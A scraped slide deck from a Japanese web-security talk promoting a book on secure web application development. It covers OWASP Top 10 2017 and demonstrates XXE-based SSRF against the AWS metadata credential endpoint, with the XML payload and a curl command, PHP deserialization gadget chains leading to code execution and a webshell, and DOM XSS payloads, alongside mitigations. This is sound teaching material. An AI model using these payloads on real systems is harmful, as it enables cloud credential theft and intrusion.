Mais conteúdo relacionado Semelhante a 安全なWebアプリケーションの作り方2018 (20) Mais de Hiroshi Tokumaru (20) 安全なWebアプリケーションの作り方20183. 徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューショ
ンズ株式会社)設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立上げ
• 現在
– EGセキュアソリューションズ株式会社 代表 https://www.eg-secure.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月)
同 第2版が 2018年6月21日発売
「徳丸浩のWebセキュリティ教室 」(2015年10月)
– 技術士(情報工学部門)
3
6. OWASP Top 10 – 2017 の内容
6
項番 内容
A1 インジェクション
A2 認証の不備
A3 機微な情報の露出
A4 XML外部エンティティ参照(XXE)
A5 アクセス制御の不備
A6 不適切なセキュリティ設定
A7 クロスサイトスクリプティング(XSS)
A8 安全でないデシリアライゼーション
A9 既知の脆弱性のあるコンポーネントの使用
A10 不十分なロギングとモニタリング
New
9. こんなプログラムが脆弱
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?><body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
9
XMLを外部から受け取り解析している
13. EC2インスタンスからクレデンシャル取得
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/test-
role
{
"Code" : "Success",
"LastUpdated" : "2018-12-14T04:18:31Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAR6MQXXXXXXXXXXXX",
"SecretAccessKey" : "fksJ2MS/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"Token" :
"FQoGZXIvYXdzEL7//////////wEaDMvvWcaPXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXX=",
"Expiration" : "2018-12-14T10:54:27Z"
}
13
DEMO:XXEによるSSRF攻撃でやってみよう
14. SSRF攻撃用のXML
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY credential SYSTEM "http://169.254.1
69.254/latest/meta-data/iam/security-credent
ials/test-role">
]>
<user>
<name>徳丸浩</name>
<address>&credential;</address>
</user>
14
20. :Foo
func:
安全でないデシリアライゼーションによる任意コード実行
20
:配列
0:
1: 'exec'
:Bar
func = 'system'
args = ['whoami']
1. Fooオブジェクトのデストラクタが呼ばれる
2. call_user_func($this->func) が呼ばれる
3. Barオブジェクトのexecメソッドが呼ばれる
4. Barオブジェクトのexecメソッド内で、call_user_func_array('system', ['whoami']) が呼
ばれる
5. system('whoami') が呼ばれる
class Foo {
private $func;
public function __destruct() {
call_user_func($this->func);
}
}
class Bar {
private $func;
private $args;
public function exec() {
call_user_func_array(
$this->func, $this->args);
}
}
22. Welcart 1.9.4 をリリースしました【脆弱性の修正】
Welcart 1.9.4 をリリースしました。オブジェクトインジェクション
脆弱性の修正などを行いました。詳細は以下の通りです。
アップグレードを行う場合は、Welcartを停止してからアップグレー
ドを行ってください。
【変更点】
• オブジェクトインジェクション脆弱性の修正
フロントにて、オブジェクトインジェクションと思われる脆弱性
が認められました。
過去のすべてのバージョンが対象となります。1.9.4にアップグ
レードしてください。
放置しますと、サイトに任意のファイルの埋め込まれる可能性が
あります。
脆弱性に関する修正の差分はこちら
22https://www.welcart.com/community/archives/83947より引用
24. Welcart 1.9.3 と 1.9.4の差分
24
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=1728429%
40usc-e-shop&old=1728428%40usc-e-shop&sfp_email=&sfph_mail= より引用
典型的な
オブジェクトインジェクション脆弱性
25. 攻撃に利用できるクラス: All-in-one Event Calendar より
class Ai1ec_Shutdown_Controller {
protected $_preserve;
protected $_restorables;
protected $_callbacks;
public function __destruct() {
// replace globals from our internal store
$restore = array();
foreach ( $this->_preserve as $name => $class ) {
// 略
}
// execute callbacks
foreach ( $this->_callbacks as $callback ) {
call_user_func( $callback );
}
// 後略
}
// 後略
}
25
攻撃に利用可能
26. 攻撃に利用できるクラス: ManageWP Worker より
class MWP_WordPress_HookProxy
{
private $callback;
private $args;
// 省略
public function hook()
{
call_user_func_array($this->callback, $this->args);
}
}
26
攻撃に利用可能
Demo
28. デモ
• WordPress + Welcart + All-in-one Event Calendar +
ManageWP Worker (WordPressプラグイン)の環境
• Welcart の 安全でないデシリアライゼーションを用いてリ
モートコード実行
• WebShell設置
• 上記をNetBeas上でトレースします
28
42. 主な改定内容(増えたもの)
• CORS
• クリックジャッキング
• ファイルアップロード(PDFのFormCalc)
• 構造化データの読み込みにまつわる問題
– 安全でないデシリアライゼーション、XXE
• キャッシュからの情報漏えい
• Web APIにまつわる問題
• JavaScriptの問題
• 脆弱性診断入門
• OWASP Top 10 -2017 完全ほぼ対応
42
50. FormCalcによるコンテンツハイジャックの対策
• 以下の両方を実施
– PDF ファイルはブラウザ内で開かずダウンロードを強制
する
– PDF をobject要素やembed要素では開けない仕組みを実
装する
• 後者を実現するにはどうすればいい?
– 複数の方法が考えられるが…
– サンドボックス・ドメインを用いる方法
– 例えばPOSTリクエストに限定する方法がある
• POSTは嫌ですか?…実は僕も嫌なんですが…
– 凝った方法を採用してももちろん良いが、Adobe Reader
のイケテナイ仕様への対処に手間をかけても…
50
53. JSONPのコールバック関数名によるXSS の原因と対策
• 原因
– JSONPのMIMEタイプはtext/javascript
(application/javascript)なのに、
text/htmlとしている
– コールバック関数名の文字種チェックをしていない
• 対策
– MIMEタイプをtext/javascriptとする
Content-Type: text/javascript; charset=UTF-8
– コールバック関数名の文字種を英数字とアンダースコア
に限定する
53
54. Dom Based XSS (JavaScriptの問題の例)
54
<body>
<script>
window.addEventListener("hashchange", chghash, false);
window.addEventListener("load", chghash, false);
function chghash() {
var hash = decodeURIComponent(window.location.hash.slice(1));
var color = document.getElementById("color");
color.innerHTML = hash;
}
</script>
<a href="#赤">赤</a>
<a href="#緑">緑</a>
<a href="#青">青</a>
<p id="color"></p>
</body>
脆弱な例: フラグメント識別子を表示するだけのスクリプト
55. DOM Based XSSの攻撃例
• Script要素による攻撃は有効にならない
<script>alert(1)</script> など
• img 要素のonerror属性などは攻撃に使える
<img src=# onerror=alert(1)>
• 上記を含むHTMLをinnerHTMLに挿入すると、JavaScriptが実
行される
• document.writeであれば、script要素でも攻撃可能
55
56. 対策: Dom Based XSS
• 『DOM Based XSS』に関するレポート に詳しい
• document.writeやinnerHTMLの使用を避ける
• DOM操作APIを用いる or 適切なエスケープ処理
• jQueryを用いる場合は html()メソッドではなく、text()メソッドを用いる
function chghash() {
var hash = window.location.hash;
var color = document.getElementById("color");
// 脆弱
// color.innerHTML =
// decodeURIComponent(window.location.hash.slice(1));
// 対策
color.textContent =
decodeURIComponent(window.location.hash.slice(1));
}
56
59. ウェブ・セキュリティ試験(通称:徳丸試験)を2019年12月より開始
一般社団法人BOSS-CON JAPAN(代表理事:吉政忠志、所在:東京都世田
谷区、以下「BOSS-CON JAPAN」)は、BOSS-CON JAPAN内組織である
PHP技術者認定機構が国内Webセキュリティ第一人者である徳丸浩氏が代
表を務めるEGセキュアソリューションズ株式会社の支援を受け、ウェブ・
セキュリティ試験(通称:徳丸試験)を2019年12月より開始することを発
表いたしました。なお、本試験問題はEGセキュアソリューションズ株式会
社が作成いたします。
■ウェブ・セキュリティ試験実施の背景
全世界で稼働しているWebサイトは5億サイトになりました。企業にとって
も重要な位置づけになるため、サイバー攻撃の対象となるケースも増え、
攻撃手法も複雑かつ巧妙になってきています。よってウェブ・セキュリ
ティに対する対策は以前よりまして緊密且つ迅速に施さなければなりませ
ん。ユーザ、開発者に対してより一層のウェブ・セキュリティに対する意
識と知見を高めるべく、本試験を実施いたします。本試験の主教材はウェ
ブ・セキュリティの名著として知られる徳丸浩氏による「体系的に学ぶ 安
全なWebアプリケーションの作り方 第2版」を採用し、本書を基本的な出題
範囲として基礎的な知見を問う試験と実務知識を問う試験を実施いたしま
す。
62https://www.phpexam.jp/news/tokumarushiken/ より引用
61. まとめ
• 最近のウェブセキュリティを取り巻く話題
• OWASP Top 10 – 2017や徳丸本改版を巡る話題
– PDFのFormCalcによるコンテンツハイジャック
– XXEとSSRF
– 安全でないデシリアライゼーション
• 割賦販売法改正・施行
• 安全なWebアプリケーションの作り方 第2版を読もう
• そして、「徳丸試験」を受けて理解度を確認しよう
64